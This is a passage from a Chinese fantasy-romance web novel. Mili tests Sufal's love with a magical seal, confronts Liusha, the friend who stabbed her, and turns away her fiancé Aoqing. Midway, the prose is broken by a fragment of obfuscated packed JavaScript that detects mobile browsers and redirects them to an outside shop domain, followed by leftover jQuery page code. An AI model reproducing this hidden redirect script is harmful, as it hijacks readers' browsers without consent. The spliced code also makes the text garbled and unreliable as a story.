瑟利雪是个非常漂亮活泼的女孩儿,也是塔朗镇上寥寥无几中的一个年轻魔法师,追求者几乎有几十个那么多,最终选了一位比她大五岁的剑士。 “咪莉!你回来了!”瑟利雪挥舞着她雪白纤瘦的胳膊,提着绿色裙摆朝咪莉大步跑来。 咪莉有些意外地看着她,瑟利雪是她同龄里一个关系比较好的朋友,因为她单亲家庭的原因,朋友并不多,琉莎最初也是她的朋友,但现在她不知道还能不能算了。 瑟利雪跑到咪莉面前,她比咪莉高半个头,白皙的小脸跑得粉扑扑的,棕色卷发披着一层暖洋洋的阳光落满她身上,让这个女孩浑身发着光般耀眼。 “听说你出事了,害我担心好久。”瑟利雪在咪莉脸上左右查看,发现咪莉除了瘦了点,魔力气息倒是更加浑厚了,“你没事真是太好了。” 咪莉不好意思地抿了抿唇,然后被瑟利雪逼着说她这些日子都发生了什么事。 她含含糊糊地省去许多事,只简单说了自己被传送到了另一个城市,然后误食空间跳跃果回到了一百多年前。 “你自己吗?还是和你的奥倾哥哥?”瑟利雪震惊地问。 咪莉低头看着脚尖:“还有个人和我一起,但不是奥倾哥哥。” 看着咪莉如此惆怅的表情,瑟利雪顿时不淡定了:“天哪,你劈腿了?” 咪莉抬起头忙摇手:“不是的,我……” 咪莉觉得自己三言两语说不清,又认为自己的心实在迷惘,她很想知道苏法尔的想法,所以拉着瑟利雪去附近的公园,说了最近困扰的事。 “你是想知道这个苏法尔到底喜不喜欢你?”瑟利雪总结道。 咪莉犹豫了两秒,然后点点头:“他对我其实很好,但偶尔又让我觉得他根本不在乎我,所以我弄不清……” “唉,爱情这东西就是很复杂啊,有人爱得明目张胆轰轰烈烈。”瑟利雪像是想到了谁一样嘴角翘着,她看着天上大好的阳光,感怀道,“但也有人爱得深沉,总是把喜欢藏在心底,这样的人呢,不是性格敏感胆小,就是有什么原因导致他开不了口。” 咪莉想了想,拿不准苏法尔属于哪一种,瑟利雪转头看着忧愁的咪莉,笑眯眯地捏了捏她的脸蛋:“不过姐姐有办法帮你确定。” 瑟利雪带咪莉回到了自己家中,瑟利雪爸爸见女儿这个时间不在学校上课,还带了许久未见的咪莉回来,又是疑惑又是高兴。 “哎呀老爸你不要缠着咪莉好不好,我带她有事呢!” 瑟利雪轰走自己爸爸,关上房门,在自己的书桌抽屉里翻出一个木头盒子:“这个是爱印,可以解决你现在的情况。” 咪莉看着盒子里那颗像水果糖的透明软珠子发出疑惑:“怎么解决?” 瑟利雪告诉咪莉,爱印是精灵一族制作出的测试爱情道具,时限有长期的有短期的,她这个是一个月短期的,长期的太珍稀,她弄不到。 而使用方法就是,把这颗小珠子放在自己手心念爱印专属咒,让它融进手心里消失,然后再把手心和自己喜欢的人相印在一起,就可以测试出来了。 如果对方喜欢自己,他的手心就会出现一个小小的“爱”字,并且会留下一个月左右,如果对方不喜欢自己,他的手心就会什么变化都没有。 咪莉拿着这颗爱印回到家,坐在桌子前一直看着这颗小小的软珠,然后放在手心中,默念咒语让它与自己手心融合一起。 但她很快又开始发愁了,她不知道苏法尔什么时候才会出现。 看了看天色,时间还早,咪莉便出发去了城里见琉莎。 琉莎被关在一个单人牢间,有吃的有喝的,居住环境也挺干净,是家里人特意打点的。 当琉莎看见站在牢门前的咪莉后愣了好久,但她其实一点也不意外咪莉没死,当她杀死咪莉后,咪莉的身子就像一道流星般在原地凭空消失了,这样的情况不像是死亡。 咪莉面对这个想杀害自己的朋友,一些零碎记忆也随之而来。 她和琉莎偷偷喝醉酒的那天,琉莎抱着她说了自己非常喜欢奥倾,希望她主动退出,她当时烂醉如泥,所以醒来后什么都不记得了。 直到刚刚这些丢失的记忆碎片才慢慢回到脑子里,她甚至还记起琉莎的眼泪落到她肩上的湿润感,还有她哭泣时的颤抖。 咪莉心里有些难过:“你很喜欢奥倾哥哥吗?”喜欢到会对她下手。 琉莎没有回答她,垂眸看着地面,就像一个无家可归的小动物般抱着膝盖坐在床边。 咪莉见她这副模样,不由无奈:“喂,被捅刀子的人是我哎,你干嘛一副不理人的样子,琉莎,我告诉你,我不会原谅你的。” 咪莉竖着眉生气地看着昔日好友,琉莎只是淡淡看了她一眼,冷冰冰道:“我没有要求你原谅,如果再来一次,我还是会杀了你。” 咪莉的瞳孔微微一缩:“就这么喜欢奥倾哥哥?” 琉莎把下巴放在膝盖上,神情虽然依旧倔强,但眼里却多了丝柔和:“喜欢又怎样,他眼里永远只有你一个。” 咪莉发觉自己好像从来没有认识过她,她走的时候听见琉莎埋在膝盖里的哭泣声,夹杂着一些模糊字词:“他不喜欢我……” 咪莉忽然眼眶一热,心跟着一起抽搐着。 喜欢一个人真的好折磨人啊,叫人一会儿觉得得到了全世界般满足,一会儿又像是把人丢到无尽的冰窟里感受着彻骨寒意,还会让人产生恶意做出疯狂的恶行。 而她也在爱情的迷宫里找不到路。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345667|145966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 回到家里,晚上用过晚餐,咪莉和莫鸦又聊了一些关于光明神殿的详细情况,她才打着哈欠回到房中,准备去洗澡时,听到窗子那边“咯嘣”一响,以为是苏法尔来了,她掩盖不住脸上的惊喜看过去。 结果只是一阵和昨天一样突起夜风。 咪莉失落地过去把窗户关紧,但又不死心地打开往外面望了望,一低头,却发现一个男人站在她的楼下。 奥倾站在底下插着大衣口袋,也正仰头看着楼上,他看着咪莉错愕到呆住的脸,口袋里的手指握紧了些。 咪莉和他对望了一会儿,冷着脸准备把窗户关上,却不料奥倾瞬间闪到了她面前,跨进窗户里将她紧紧搂在怀里,力气大到她的呼吸有些困难,肩膀有些疼。 “咪莉……”奥倾像是终于找到自己丢失已久的宝物般把她拥在怀里,闻着她身上熟悉的温暖味道。 他听到低低的哽咽声在他耳边响起。 奥倾松开咪莉,看着她泛红的眼睛和鼻头,用拇指轻揉着她的眼角。 咪莉从他怀里退出来,擦掉不受控制的眼泪,背对着奥倾:“来抓我的吗?” “不是。”他回答着。 咪莉回过头,看着他熟悉的脸,还有他充满深意的眼神,眼泪再次唰唰流下来。 奥倾走到她面前,双手捧着她的脸擦着她的泪:“我不会血祭你的,当时是为了做戏给长老的眼线才故意那样说的。” 咪莉哭泣的动静更大了,她知道的,从一百多年前的奥倾身上就可以明白,他不是残害无辜的血族。 但她无法再一心一意喜欢奥倾了,她喜欢上了苏法尔。 奥倾把不停抽泣的咪莉抱在怀里,轻轻拍着她的背:“让你受了委屈和惊吓,对不起,咪莉原谅我好吗?” 咪莉说不出话来,只是一个劲儿地在他胸前哭,她摇摇头:“我……我不想和他解除婚约……” 奥倾的身子浑身一震,拍着她脊背的手也停了下来。 夜风越来越大,肆意地在外面呼啸,像极了奥倾内心汹涌翻滚的狂潮,他垂下眼,望着已经从他怀里站直的咪莉。 咪莉的嘴角崩得很紧,好似一个受了天大委屈却仍旧坚强的小孩儿,她一直低着头不说话,直到听见奥倾走向窗边的声音,她才抬头快速道:“我不怪你一直骗我!” 奥倾的背影顿了下,然后从窗台上一跃而下。 这晚咪莉没有等来苏法尔,她躺在床上时不时地摩挲着手心,猜测他是不是已经离开了塔朗镇。 但是在半夜,不敢沉睡的她抓到了忽然出现在她床边的人,她一直没有关灯也是为了等他。 “怎么没睡?”苏法尔愕然片刻后,然后在床边慢慢坐了下来。 咪莉抑制不住内心疯狂折磨她的思念,扑上去抱住他的腰,把脸贴在他的衣服上:“苏法尔,你能不能别走?告诉我你的计划,让我……” “咪莉。”他打断了她后面的话。 咪莉一愣,心也跟着沉下去,抱着他腰的手指也逐渐松了开来。 看着他冷寂的面容,咪莉还是不肯死心,抓住他的右手和自己的右手相握在一起。 他的手有些冰凉,不知道是在外面徘徊了多久,咪莉更加抓紧了他的手,几乎已经哭出来:“或者、或者能不能不做那个复活计划?” 苏法尔反问她:“如果是可以复活你亲生妈妈的机会,你会放弃吗?” 咪莉怔忡地抬起头看着他平静的脸,张了张唇,却什么也没说。 她阻止不了他的脚步。 咪莉想起了见过的一百多年前的他,那样乖巧聪慧,拉着她的小手攥得很紧,她这时才慢慢懂得,苏法尔也是个极度需要家人的孩子。 他从知道真实身世后,一直都在为复活家人而努力。 她忽然问:“为什么不复活你妈妈?” 苏法尔直直地看着她,眼神却异常轻柔:“我好像没有说过不复活我母亲?” 他有些顽皮般歪了歪脸,又看看被咪莉死死抓住的手:“我只是见你房间没有关灯才进来看看,我先走了。” 咪莉摇摇头,双手都抓住他,生怕再也见不到他一样迅速默念了一句咒语,一抹明亮的金色光芒从两人相叠的手心里散发出来。 咪莉期待地看着他们的手,决定只要苏法尔喜欢她的话,她就不顾一切地跟随他一起复活他父母。 苏法尔没有反抗,静静地看她低头期待什么,再看她眼里的希望一点点黯下去,变成一片灰暗。 因为他的掌心里没有出现“爱”字。 苏法尔动了动被咪莉双手捧着的那只右手,若无其事问:“怎么了吗?” 咪莉再也控制不住,把脸埋在自己手心里大声哭泣,一句话被她说得断断续续:“你、你走吧……” 她哭得肝肠寸断,就像被人抢走了心爱糖果却无力反抗的小孩儿毫无形象地坐在那里大哭。 苏法尔握紧右手,面无表情地看着她的眼泪从脸颊旁边滚落,或者溢满她的指缝渗到手背,滑向她纤细的手腕,在那里结成一颗晶莹剔透的水珠。 可他也承受着钻心之痛,黑漆漆的眼里是一片碎裂般的薄薄玻璃,是他亲手打碎的。 咪莉不知哭了多久,等她平静下来后,苏法尔已经无声无息地离开了,床边空荡荡的。 她的眼泪再次滚落,无论如何也止不住,内心的悲伤仿佛一个无底洞,掉再多眼泪也填不满。